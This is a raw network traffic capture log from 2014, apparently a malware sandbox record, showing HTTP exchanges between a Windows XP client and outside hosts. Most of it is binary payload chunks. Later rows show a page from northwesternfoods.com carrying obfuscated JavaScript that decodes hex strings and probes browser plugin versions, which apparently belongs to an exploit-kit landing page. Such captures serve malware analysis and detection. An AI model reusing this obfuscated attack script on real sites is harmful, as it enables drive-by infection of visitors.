Feb 27, 2014 17:54:20.716298103 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 45 41 ce 05 7d fa 0c 07 a6 ed a1 7c d5 c1 0d 51 13 5b e7 ee f8 cd 83 5a f2 c9 cb 6b 3d 45 0d b6 16 72 92 a6 a3 c3 32 28 de 93 cc 30 a2 a9 38 e7 e5 79 5a ea 2e fa 29 d8 d8 2d 0b 81 a8 27 23 11 fb 1b dd 6b d2 e4 83 58 34 4b 0c 7c 6f ff 57 23 d6 72 Data Ascii: EA}\|Q[Zk=Er2(08yZ.)-'#kX4K\|oW#r]%<vxi,~(+"cvcMl71JJLKA($f"^'T%K+>4GllWo6XdXk>}uH792+as(B`Bk\|zY]	34
Feb 27, 2014 17:54:21.354177952 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 83 83 dc 08 10 5a e1 7e f7 6a 79 ae 0b ce 4c e4 db 6d 13 e9 4b 7a a0 c2 3a 4a dd f1 48 ed 5e e5 ff bc 78 11 25 b8 fd a9 17 b5 24 22 64 45 2c 85 ce 3d a6 f8 70 71 da e6 b5 88 15 6c bb 93 d0 e0 d3 3b af d8 7a 70 0e a3 a4 3f 84 bd f2 fd 00 3d 7f b4 Data Ascii: Z~jyLmKz:JH^x%$"dE,=pql;zp?=uB&mWd_ (`W';O_(dj\|h+)Qr(TF\6Gi[[ptS=6~XfU+Yak?k$qcRS[\|Z%we[	35
Feb 27, 2014 17:54:21.354202986 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: b6 58 da b2 9e 02 f1 87 f4 2c b7 1a 0b 3a 33 20 db a2 c8 6c 8a 13 90 6a 6e f3 d2 0f 84 2c 76 84 5d d0 ff 8c 41 cc 3b 9e ec 25 de ae 4a d1 8f db 67 ba 51 1c e4 a1 1c 81 04 b5 5c 8c 94 45 3d ff 12 17 19 64 52 60 06 bc 13 56 d0 81 61 b1 63 26 85 05 Data Ascii: X,:3 ljn,v]A;%JgQ\E=dR`Vac&#pB.(u oe-?%Z@y?,p{V@1JzLs.r^.IGIaFrIsJN,d- x"_vYoP-K,e#K(#Jdl8[`	37
Feb 27, 2014 17:54:21.354212046 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 98 27 8f e5 16 ff b8 7d 5c aa 05 88 92 a6 24 f7 78 19 45 7b f3 bb 3e ff 03 bb fa 1f 57 f5 19 75 79 94 8a b6 15 ef 53 52 49 77 27 ab 40 6d ca ee b9 44 14 82 a4 37 f5 d7 dc d2 13 21 26 2b 76 ed b2 cc b8 e1 86 a4 85 de 7c d7 fa 55 76 eb ad 7b 7b ac Data Ascii: '}\$xE{>WuySRIw'@mD7!&+v\|Uv{{FsMS(S?:a4L@tNZ+5Wr_v$y,Wd/WK"gE]\| KC.hQk mIL@v,;c:y[8sq<b\r,w]MlZo[T	37
Feb 27, 2014 17:54:21.547079086 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 54 8c 5f 5d d4 b3 a1 b0 ab a7 c2 43 b9 ed a0 af cd e1 7a d6 ab 4c 5d 26 c3 ac f6 18 05 50 38 c8 81 9d 4a 8b c2 24 81 62 ce 3b c8 86 09 79 c3 7d 09 58 9a 44 38 4e 7f 0e a4 93 9f 4b 3c 28 b5 cc 4e 25 71 9a 32 f2 12 88 08 2f d4 0a 3f b5 3e 90 28 bd Data Ascii: T_]CzL]&P8J$b;y}XD8NK<(N%q2/?>(W3ben5wK44sKqca$bCa`lqf(?3:Oh6H<QntbZ>i+o)a8gy+R:7Ag8~X	39
Feb 27, 2014 17:54:21.547089100 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: f0 fa 33 89 6d c6 f2 6c 22 59 56 f0 78 2d 0c 25 fc 24 14 c6 15 4e af 2b 44 5a 9e fa cc dd 56 73 8e 6c 84 b4 e7 de 6d 0c 1b 5a 1a f8 49 82 34 28 44 42 39 d3 c2 f1 91 b8 fe 7a 4f e0 11 40 bf 66 8c b3 cb 9a 2d d5 f7 6c 74 b5 dc 1e 9e ca e1 52 69 39 Data Ascii: 3ml"YVx-%$N+DZVslmZI4(DB9zO@f-ltRi93>]guP`3tI6bw^7TD-r<?e1tv~gTyGjE'u79WS.PvC-XYb #R6UFRw	40
Feb 27, 2014 17:54:21.547255039 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 63 62 21 96 e9 a6 dc 30 35 d6 f4 58 c0 c3 95 23 55 b4 e2 db 81 a0 67 e0 6f a8 fd 6f f3 f2 42 4f 22 de b9 da 30 8e 05 16 ac 48 01 71 bc 47 3b e7 a5 68 71 de 7e 7b 2e dc 68 94 16 11 5f b9 da 5c 0f c4 71 c5 bd b3 95 db ea d0 64 b1 e2 04 73 53 67 e2 Data Ascii: cb!05X#UgooBO"0HqG;hq~{.h_\qdsSgika'JN8)lQNs(jMjc?xd\[GUeX/RWG/}8j=hz?B/<uaJ78/Rs<`IS*0	41
Feb 27, 2014 17:54:21.643440962 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: f5 12 14 c2 95 1b 33 5d 53 70 20 04 a2 b9 ad 22 89 bd 54 43 6a af 27 2d f3 7a b6 5f ae 16 f2 5e 04 09 bc 9c 76 98 e2 61 87 76 68 fe c0 08 ee a9 34 1c 5f 95 d8 59 da c8 df bd 6b f1 b6 8d c8 d9 c4 63 eb 5c 29 13 c9 95 6e e5 d7 21 3a 3b 35 2a 49 b2 Data Ascii: 3]Sp "TCj'-z_^vavh4_Ykc\)n!:;5IPzAhh,3;JaJgeuqa3]A@q1'qDNCrO`PnfS0."}n<y0][vgN6^b;Y1\|;	43
Feb 27, 2014 17:54:21.643558979 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: ba e2 01 d8 1f f7 ae 30 68 33 da d0 c7 30 e8 dd 62 2a bc 15 51 71 9b f1 1e 0a a6 07 18 e6 8a ed 81 b8 b1 86 45 95 e2 80 02 e6 cf b3 27 3e 80 61 0a 58 ef c1 10 e9 aa f0 1c 0a 5c 1d 58 3e 42 52 cb 78 90 fc 2b 18 52 36 43 b8 9d 81 8a 24 e7 71 11 5d Data Ascii: 0h30b*QqE'>aX\X>BRx+R6C$q]t/RurHcUO7{Q~wv_>C\|3$\t-I~+Q17@E`t=Rs<<dBd9B/\_p)y]TNYw"`	44
Feb 27, 2014 17:54:21.643563986 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: f2 d5 8e 0a 5f 3b c5 c6 f3 20 f2 62 7d e5 63 bf dc fb e0 f1 ab f1 24 8a d1 ea b2 5d f6 2f fc 54 a4 32 3d 06 4b e6 1d a5 b8 bb d8 43 7c 76 58 27 dd 98 01 cf 67 47 97 98 36 5b d8 19 00 7a 50 0d 90 ff 55 46 6b bd 1d 83 c2 a6 96 c8 eb f2 9e f5 7c d8 Data Ascii: _; b}c$]/T2=KC\|vX'gG6[zPUFk\|VG`4G%v612j]xrXw%>M`=5Z(~56]p5OfKi'F'O#1yD)kX,U~1z;\swh<mDDsIeI$tqyC	46
Feb 27, 2014 17:54:21.643657923 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 44 0b 83 d7 60 68 a0 d6 87 1e c6 ba fd aa 14 b4 78 0d 1d 35 d1 32 96 71 bd 43 52 7e a1 33 59 7d a2 d8 79 51 5a f0 90 49 2a 74 d4 f4 4c a6 f3 58 6c 55 d7 d0 05 6f 9c 3e f5 1a 33 18 44 b2 7d 90 45 36 66 04 af ea 88 a4 dc 1f 5d 16 5d 0d ee f5 09 10 Data Ascii: D`hx52qCR~3Y}yQZI*tLXlUo>3D}E6f]]0z{5Esn-#%f?g'p}h]L@ZGB2){?yBioTUl,n>MUm'3'33(Jd/	46
Feb 27, 2014 17:54:21.836836100 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: b9 36 f6 01 ee bf 84 2b 62 d9 f0 c4 cf 45 c3 6a 85 02 21 55 56 8a 0a c5 4a 1f 68 02 b6 23 5c 71 16 df 83 b7 7c 45 2b 56 5f 2f ed 79 0b 8b 4f 14 98 b2 97 2f 5d 58 45 a4 dc fb e6 5b b8 72 81 bc 92 dd d4 f2 45 19 10 27 46 3d 67 ca 5c 9f 26 f3 2e 1e Data Ascii: 6+bEj!UVJh#\q\|E+V_/yO/]XE[rE'F=g\&.*.)b(:F^QgmWc}HAe7n{F%\p4G<Zh<G\mSn\|BiI_Z.u}AG"w~H4x0,TR.nRZ	48
Feb 27, 2014 17:54:21.836869955 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: b4 3a 96 73 80 ae 84 5a 4c 60 3b d5 90 41 76 68 11 24 c3 2f 3b 99 20 96 b6 30 65 e0 8d 85 a6 92 77 d2 e8 a5 f2 d8 4a 8c d8 a8 4c 77 0a ff 90 c0 6f ea 59 15 3f a9 65 1d d0 5a fc 23 2d eb fb 9a d5 11 b4 04 44 f1 2b 39 f9 64 b0 f5 cc 13 59 4c 60 63 Data Ascii: :sZL`;Avh$/; 0ewJLwoY?eZ#-D+9dYL`cu2dihh\A$QK;g6gyCC{NUjBsU&zm2:RXydKXJVZegmoj4x\yfiwDj-1zC(m6:OV}	49
Feb 27, 2014 17:54:21.836882114 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 48 48 e6 e1 cd 60 3d 42 f5 92 b3 af 77 48 29 69 58 ef 02 99 91 2d 69 8a 4c a9 51 95 35 61 a7 2d 2e 9e ac 4f 96 ef 84 46 00 99 89 78 14 8a 8b 05 79 1e 99 bc 75 b3 3c 82 03 d7 b1 e1 90 a2 94 a7 19 cd 62 d8 9b 42 5f fa 28 5f bb 9f c4 0c 20 69 28 89 Data Ascii: HH`=BwH)iX-iLQ5a-.OFxyu<bB_(_ i(4Qr3(E71!l^UveA:P`"PvrHtwaqr$(>h/^%i&s-H0@SUST 4X.s?6C7]y	50
Feb 27, 2014 17:54:21.932756901 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: d8 f4 b2 1f 07 31 f6 6b 33 ee 97 13 40 9a 84 f7 5f ea f7 49 14 b4 41 5d aa 4a 5d 74 64 16 9a 1b 2c 5e 00 15 1e 7f bf 5d ad 90 81 9e 2f 4a bb 40 89 d5 b2 91 7b 06 d8 6b ac a7 2e 0b fb e1 60 84 0f 9f b6 8b 69 23 ea 79 80 83 95 84 1b b0 5b 01 3b 7a Data Ascii: 1k3@_IA]J]td,^]/J@{k.`i#y[;z`CyjMNCA%V;9rnL$B)LPd!s)HHBH$H>\|lRBV;:1E"DGYGb7RTobW_5W	52
Feb 27, 2014 17:54:21.932770967 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: de 1e 14 63 6a 84 27 48 6f 91 21 e7 64 f4 2c aa cd d4 7b c9 d5 83 0a 0f 8d a6 15 59 00 0c c8 e0 2a 51 97 6b 9c ea 2d 18 03 d2 37 48 7f ea 2e a6 3a 4a 6f d5 18 db 64 44 58 d6 f9 d7 33 b8 9c 68 7c a0 5c 97 6f 8d ac 39 91 f8 a5 55 33 c8 84 26 67 72 Data Ascii: cj'Ho!d,{YQk-7H.:JodDX3h\|\o9U3&gr4P4M$>Cu`<!PkmVI:vhbZjXI>U *JaP,-:Ni9"2lcw3RaG>Bs9\vPI{&/=foSFQe	53
Feb 27, 2014 17:54:21.932959080 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 3c 5c 80 2f 07 1e 5f 1b 58 89 75 13 96 bc da 32 d6 91 a6 f9 95 00 bf 96 4f 45 26 85 54 b0 5d b4 d2 78 a5 aa f2 5e 86 58 a0 d7 bd 0d 04 4f b7 3a 23 dd e2 9b f7 8c a8 bf ac fa a8 0b a0 d7 3c 8a d7 72 3d 73 f3 da d2 cb 5e 25 85 41 99 ed bd 23 25 24 Data Ascii: <\/_Xu2OE&T]x^XO:#<r=s^%A#%$pahPR"kI&/[esDfy$x{2df+b+#b8STF$l;Y#c;<P'9Q2d[Q0r@%JM\B+D	55
Feb 27, 2014 17:54:21.980706930 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: c6 c1 b9 cb b4 c3 d3 db 45 8d 0e df 92 40 16 54 0d 9f 5a b1 84 03 63 93 71 8c b1 ac ff 82 3f ac 85 98 8b 40 a1 be 3b f0 8c 6f 9c 05 f5 ad f6 e7 d5 9f 89 c2 4e b6 74 3f 8b 9f d9 13 df 8a 5b 80 ef 29 8f 3e 78 a0 81 ca df d4 ce 84 6f e9 d6 92 2e 6b Data Ascii: E@TZcq?@;oNt?[)>xo.kItU\"JXbOW$k9Lhg#E@#[V+CKMr<M/A]'.*f\5)BjpaqXu%f4l`;.\[\4cP\|`\|LhDm/X!	56
Feb 27, 2014 17:54:21.980729103 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 8b c3 73 ac be 4d 63 76 05 f3 94 1a 84 d5 40 cf db be 7f 13 57 45 00 89 8e 15 68 e1 f3 1b 7b 2d d8 fa 98 bd ea 62 f7 6c 50 b0 7d 3f bc be d3 94 89 23 2d 65 72 8c 90 c1 80 ca fd fa f2 92 a3 50 5c ed 2e 06 3e 7f b8 59 7a 5a 36 45 ea b9 76 7b 54 83 Data Ascii: sMcv@WEh{-blP}?#-erP\.>YzZ6Ev{T!8FQ7/IjY'"b]H> =b7?<u$"4$^iK^>G4;R';QOr;Bw)%0] px?tks6^VDSDOx	58
Feb 27, 2014 17:54:21.980731964 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 3b 5b d4 46 a9 a9 e1 93 63 ef ab a3 70 82 62 ed d0 b7 d7 8e 78 e9 f5 d5 d6 7b 63 62 46 70 40 40 5b b8 67 e8 67 8c 1f f4 5d 2a fd 64 6a df e3 1c 53 cf 47 1c 53 db 3f c6 3b aa 74 dc 53 ea fc 9e 57 88 1a 94 11 cb 98 d1 bb bd bf 21 2c 00 93 ef 30 04 Data Ascii: ;[Fcpbx{cbFp@@[gg]djSGS?;tSW!,0]Z0q^QZ/<Rr_}Vs)C{6Azrk;uT/nh-Q54A"VRvyW+Y3Ct8_\!y?eqKF(q{k	59
Feb 27, 2014 17:54:22.096688032 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: bf 81 ef 94 e3 84 a8 57 4c b2 c8 c4 df 16 37 ff cd c3 07 9d 5f ac f7 53 24 fa c7 d3 45 16 87 68 2a 83 f1 90 1b 48 58 5b 6e f6 c8 22 91 5a 82 44 86 60 e5 b4 be 45 0e b9 3a c7 3e 1c 1d 37 2b 89 b1 c4 73 cf d9 1d f0 55 e4 5e eb 02 1f 39 5c 33 9a 11 Data Ascii: WL7_S$Eh*HX[n"ZD`E:>7+sU^9\3>S\|-065SQEk~LfTU3a>IK(y^SVCAjwktoHe$%brP-]CrgSDH@/JqJ!@i{	59
Feb 27, 2014 17:54:22.262459993 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: c3 0a 5f 7e 77 ad c9 b9 ef 78 c7 54 cb 5e b0 a5 b5 b9 5e 9f 02 6a 33 7e 1c 70 65 09 06 c2 70 36 23 4f 09 78 b0 3b 50 ed 58 9b 96 34 e9 e0 60 88 5f 6f dd 23 98 90 4b 91 e4 13 20 53 6d b2 aa 78 5f 00 d7 a5 06 1d 11 fe e9 da 26 b6 d4 42 8a 41 be 11 Data Ascii: _~wxT^^j3~pep6#Ox;PX4`_o#K Smx_&BAW9s)O}#>&og3$PKO4qmhEIr5K^<#6yL%;hhRD6JvH_wY'"wZP<l	61
Feb 27, 2014 17:54:22.262492895 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 4d f0 3a 7a ce d4 6b b7 e0 89 3c bb 93 b1 a9 55 0c ff 63 ee ca e3 a1 7a bf bf 31 63 0b 21 a3 0c 95 25 7b e4 8e 9d ac a1 c8 92 25 4a d6 c1 60 b2 8c c6 20 6d 96 a2 6c 95 50 24 5b 24 21 29 7b b6 8a 24 4b 84 ec 49 49 28 24 2a 91 f8 cd 88 4a f7 d6 e7 Data Ascii: M:zk<Ucz1c!%{%J` mlP$[$!){$KII($Ji{g9syM\>9wdVs=Rp+Ld 'aek5/dsemZv=E7v3&?dV\|nE`\|VS3ETw,*^5ErV<?b846o	62
Feb 27, 2014 17:54:22.262506962 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: ec 79 16 54 ad 9f 34 b7 4d 60 eb 8a 5e 39 71 30 ea 88 8c 03 db 52 9e 07 5f e3 68 5c a1 7a 99 5d 05 ff 7a f8 70 39 18 f5 91 ca e1 4a 55 4f 78 79 5f 44 46 b4 b8 9a d4 a9 0f a1 19 41 9b 79 ed cb 67 6a 68 4e b3 11 87 e5 7f 6b 82 85 e8 49 f6 5c 60 b9 Data Ascii: yT4M`^9q0R_h\z]zp9JUOxy_DFAygjhNkI\`#,o .>apTKrL,nLAwi8WN?pf6F*C;''$+LFa4t[GJUj<ol.jKB #9x8\|rli5PK	64
Feb 27, 2014 17:54:22.262517929 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 97 c4 b7 cc a7 95 96 f8 70 c7 0f f7 6d 35 1e a5 87 50 af 29 81 ed 4a 8b 98 f1 08 10 8a c7 de 92 14 eb 5e 57 67 4f af 7a 95 79 9c 39 55 99 7b f2 da e8 fa df 42 0d d4 0c bf bc d5 ed 2b d1 90 f3 02 4e 62 0b 78 b9 2d a6 3c 5c 16 e8 61 3e e3 f7 b9 7a Data Ascii: pm5P)J^WgOzy9U{B+Nbx-<\a>zwYbLCufy-^%\|)&YJTv);\|Bw]D6n4bUHwnOY\Flnr508![9LMDHBTh>PP"	65
Feb 27, 2014 17:54:22.262527943 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 27 01 fe f1 80 ff f9 24 ff 73 49 fe 51 41 5a 4e 44 a2 bb 82 b8 b8 b7 b7 f7 26 d7 25 2b d9 64 87 77 15 77 77 c6 89 db 11 5c c4 dd 09 78 7b 4f 3b a2 87 38 c9 88 48 d6 43 32 1a 92 c5 90 8c dc 5a 02 00 e4 c5 00 29 31 40 62 13 e9 73 5f be 89 f4 fa f7 Data Ascii: '$sIQAZND&%+dwww\x{O;8HC2Z)1@bs_\r0-Aj?^upQOdt^r4UICM`Ebnb^~"%T`[\r)R~\xhF\k_8578Hv4`b8+	67
Feb 27, 2014 17:54:22.263187885 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: f9 b2 92 4b dd f1 83 28 77 8f e0 32 fe 2b ae 0a 4f 9f 78 41 62 56 c7 0a Data Ascii: K(w2+OxAbV	67
Feb 27, 2014 17:54:22.661874056 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 78 9f e9 89 44 90 1e ee e9 e7 af 3a 21 55 51 34 97 7b 27 62 43 f2 7c 31 16 c6 d9 ee 13 76 4c 15 9a 30 89 40 b8 af 63 07 ec 35 10 04 e8 12 40 80 ce d3 1e 3a 81 4f fd 67 48 ea 8f 93 7b 96 1d 8c f2 1c 0c 20 21 46 3a 12 7e 88 3a c9 bf 4e 65 16 06 04 Data Ascii: xD:!UQ4{'bC\|1vL0@c5@:OgH{ !F:~:Nefg[IM2akZ;s?O(Jy6t[+^b%k-~zk6</Gt]b4udp:@*G0F!qBf[wwXDs {)J	69
Feb 27, 2014 17:54:22.661880016 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 47 86 65 5d d6 4e 7c 96 88 18 42 19 ca 4b 43 4d 4b 13 3f 05 94 57 5f 36 63 bd 83 e2 f4 dd 20 a9 d9 87 64 c1 39 9d ea 5f e3 dc f8 c9 12 00 81 09 42 65 c4 f2 37 2f ec 91 b0 85 06 a6 3f a0 21 f2 bf 22 bb b4 2d 1f b6 74 56 f6 af 18 66 1a 21 80 2d 42 Data Ascii: Ge]N\|BKCMK?W_6c d9_Be7/?!"-tVf!-B RRu# *qWz>xLn[)#~g,QzJH!\|)i9r\|`7w#&CG=W'iY.EZk2$D[-pzTk3	70
Feb 27, 2014 17:54:22.661885023 MEZ	80	1042	209.107.220.51	192.168.0.18	Data Raw: 2a 5c 65 46 bc 5d 4a ff ec ed cd e3 7e ae ec 64 8e 7f f5 a4 91 1b df 67 c7 4b 59 79 b3 ee 59 3a 7c 05 2b 0f 35 62 d5 5a 7d f7 57 54 e6 40 79 ad 4a 44 44 39 de 97 4c 77 35 8e fa 0b 74 8f 2f 8a a3 9c 2f 4b 2d f1 52 52 4c 15 0f 43 94 7c d6 8b 1d 5b Data Ascii: *\eF]J~dgKYyY:\|+5bZ}WT@yJDD9Lw5t//K-RRLC\|[ueGYtWj/9[<X_Qp%C#Q2L%@.%5g6_	70
Feb 27, 2014 17:54:22.667722940 MEZ	1046	80	192.168.0.18	23.239.12.68	GET /sg3oyoe0v2 HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: northwesternfoods.com Connection: Keep-Alive	71
Feb 27, 2014 17:54:23.125508070 MEZ	1047	80	192.168.0.18	64.18.20.10	GET /CRL/Omniroot2025.crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: cdp1.public-trust.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache	72
Feb 27, 2014 17:54:23.628520012 MEZ	80	1046	23.239.12.68	192.168.0.18	HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Thu, 27 Feb 2014 16:54:23 GMT Content-Type: text/html Connection: keep-alive Content-Length: 110298 Cache-Control: no-cache, must-revalidate, max-age=1 Expires: Sat, 26 Jul 1997 05:00:00 GMT Last-Modified: Sat, 26 Jul 2040 05:00:00 GMT Pragma: no-cache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e 0d 0a 20 20 54 65 6c 27 41 76 69 76 20 61 73 64 66 6e 61 73 64 66 20 77 77 77 2e 6d 61 6c 62 6f 72 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="en" dir="ltr"><head><title> Tel'Aviv asdfnasdf www.malboro	73
Feb 27, 2014 17:54:23.847343922 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 2e 75 73 0d 0a 0d 0a 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 53 41 67 28 69 65 24 29 7b 20 76 61 72 20 63 64 69 50 41 68 3d 5b 5d 2c 7a 6b 53 3d 77 Data Ascii: .us</title></head><body><script>function SAg(ie$){ var cdiPAh=[],zkS=window['parseInt'];if(ie$.length%2) return ;function indexOf(ie$,We){ return ie$.indexOf(We /y/);}if(indexOf(ie$,'0x' /*G7HJ7qjv7gwxL0nxaM8	74
Feb 27, 2014 17:54:23.909012079 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 65 28 63 52 20 20 2c 63 52 2b 32 20 09 2f 2a 6f 44 6b 4c 48 67 4c 6c 55 51 62 77 31 69 6b 30 53 6b 4a 51 6f 49 49 30 2a 2f 29 0a 2c 31 36 20 09 29 3b 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 20 63 64 69 50 41 68 3b 7d 20 20 0a 66 75 Data Ascii: e(cR ,cR+2 /oDkLHgLlUQbw1ik0SkJQoII0/),16 ); return cdiPAh;} function JY9XJ(HeAsnh,KqQ){ var cdiPAh=new Array(); var yzSJu=SAg(HeAsnh/3CHbQB1AZ2YBOjDbsZ1vn4JEfy0X3vXKb/); var FUVj7=SAg(KqQ); var mv=0;for( var tEpJ=0;tEpJ<	75
Feb 27, 2014 17:54:23.909019947 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 33 6a 67 4a 55 4f 49 68 37 58 58 71 73 6d 6c 54 73 4d 52 59 57 7a 39 53 6f 36 2a 2f 29 3b 4f 4c 54 6e 28 7a 64 0a 2c 4f 6e 57 46 51 2f 2a 78 6e 4e 63 42 6f 49 4b 43 38 35 34 2a 2f 2c 32 0a 2c 31 30 30 20 0a 29 3b 4f 4c 54 6e 28 7a 64 2f 2a 48 6b Data Ascii: 3jgJUOIh7XXqsmlTsMRYWz9So6/);OLTn(zd,OnWFQ/xnNcBoIKC854/,2,100 );OLTn(zd/HkluzOmb8pGqoQMVoRCGRyd/,OnWFQ/g1sfIdMU1ZGgoGxBitccFuf37A13v8pjuKqPc9zsD8/,2,10/5iY2r8hYgTY5EB01N5i077U*/);OLTn(zd ,OnWFQ ,2,1 );OLTn(zd,OnWFQ,3,1 /	77
Feb 27, 2014 17:54:23.909135103 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6e 7a 4e 38 5d 2b 3d 78 68 52 7d 2f 2a 6b 74 5a 36 4d 59 73 70 4d 47 66 51 61 69 74 68 79 54 59 78 43 6a 6f 37 47 75 6a 67 72 5a 63 32 6b 47 79 64 42 36 6e 54 4d 7a 67 57 4c 56 2a 2f 4f 6e 57 46 51 5b 49 72 6e 7a 4e 38 5d 2d 3d 78 68 52 3b 7d 20 Data Ascii: nzN8]+=xhR}/ktZ6MYspMGfQaithyTYxCjo7GujgrZc2kGydB6nTMzgWLV/OnWFQ[IrnzN8]-=xhR;} function JHNP(zd,mKZt){ return zd.isVersionSupported(mKZt[0]+(function(){ return JY9XJ('5c' /GBYNOJl/,'72666253633247754f'/fde/);}	78
Feb 27, 2014 17:54:23.909154892 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 41 6d 4b 6b 36 52 41 6a 49 31 41 43 59 63 65 37 53 32 6c 4c 41 61 76 2a 2f 2c 44 45 51 24 70 48 2f 2a 30 44 6d 4f 63 2a 2f 29 3b 20 20 20 20 20 72 65 74 75 72 6e 20 20 20 20 55 4c 79 2e 6c 65 6e 67 74 68 3e 33 3f 72 65 73 75 6c 74 2b 55 4c 79 5b Data Ascii: AmKk6RAjI1ACYce7S2lLAav/,DEQ$pH/0DmOc/); return ULy.length>3?result+ULy[3].replace(/\d+/g ,DEQ$pH/9Z0d5Loe114tKpOKsEHzOEySW3ZjWfpP3mBkQm2M3Bvnm/):result;} function version(D63vCG){D63vCG=fixNumber(String(D63vCG /cJIa2K1m5h5NI	79
Feb 27, 2014 17:54:23.909158945 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 48 4a 6e 6e 71 62 41 69 51 41 36 6b 34 6d 36 7a 63 6c 44 62 39 4b 72 2a 2f 29 3b 4e 6b 6d 68 79 6f 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 20 20 72 65 74 75 72 6e 20 20 20 20 20 20 20 20 4a 59 39 58 4a Data Ascii: HJnnqbAiQA6k4m6zclDb9Kr/);Nkmhyo.style.cssText=(function(){ return JY9XJ('0209113a175b281b751304113c0f47331074060912694e0377457f021e593f0654334f6243565263134a7c'/m8U2lNLxMjVB/,'72666253633247754f' /sVZpst7Zy9BVSw7l8g66*/);})();	81
Feb 27, 2014 17:54:23.909281015 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 20 20 4a 59 39 58 4a 28 27 34 30 34 38 35 32 37 64 35 33 31 63 37 36 34 34 27 20 0d 20 2c 27 37 32 36 36 36 32 35 33 36 33 33 32 34 37 37 35 34 66 27 20 09 2f 2a 76 47 6f 6b 42 64 46 6b 30 6d 47 55 4a 72 63 2a 2f 29 3b 7d 0a 29 28 29 29 3b 76 Data Ascii: JY9XJ('4048527d531c7644' ,'72666253633247754f' /vGokBdFk0mGUJrc/);})());vnTdC=version(D63vCG);if(vnTdC>0\|\|vnTdC<0) return vnTdC;try{/NkMBKIS11v81Mhv1SxLrtY2ofXZz8Q6O/ return version(whl() /*E8oDcADkik1H0nf	81
Feb 27, 2014 17:54:24.065838099 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 69 66 28 76 6e 54 64 43 3e 30 7c 7c 76 6e 54 64 43 3c 30 29 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 20 76 6e 54 64 43 3b 74 72 79 7b 20 0d 0a 20 20 72 65 74 75 72 6e 20 20 20 76 65 72 73 69 6f 6e 28 77 68 6c 28 29 20 0a 0d 29 7d 2f 2a 77 54 Data Ascii: if(vnTdC>0\|\|vnTdC<0) return vnTdC;try{ return version(whl() )}/wTElwBmawHAqD06RG/catch(vy){{/Mbc7WNGFOwNyo/ return }/4zNspdncMUQpiieZGhxA05W9DfNUjjMVzCjDHfZm9N77FrY/} /YRwgVVkIRXgiJ4xiKJ/} /6IMN/ else {	82
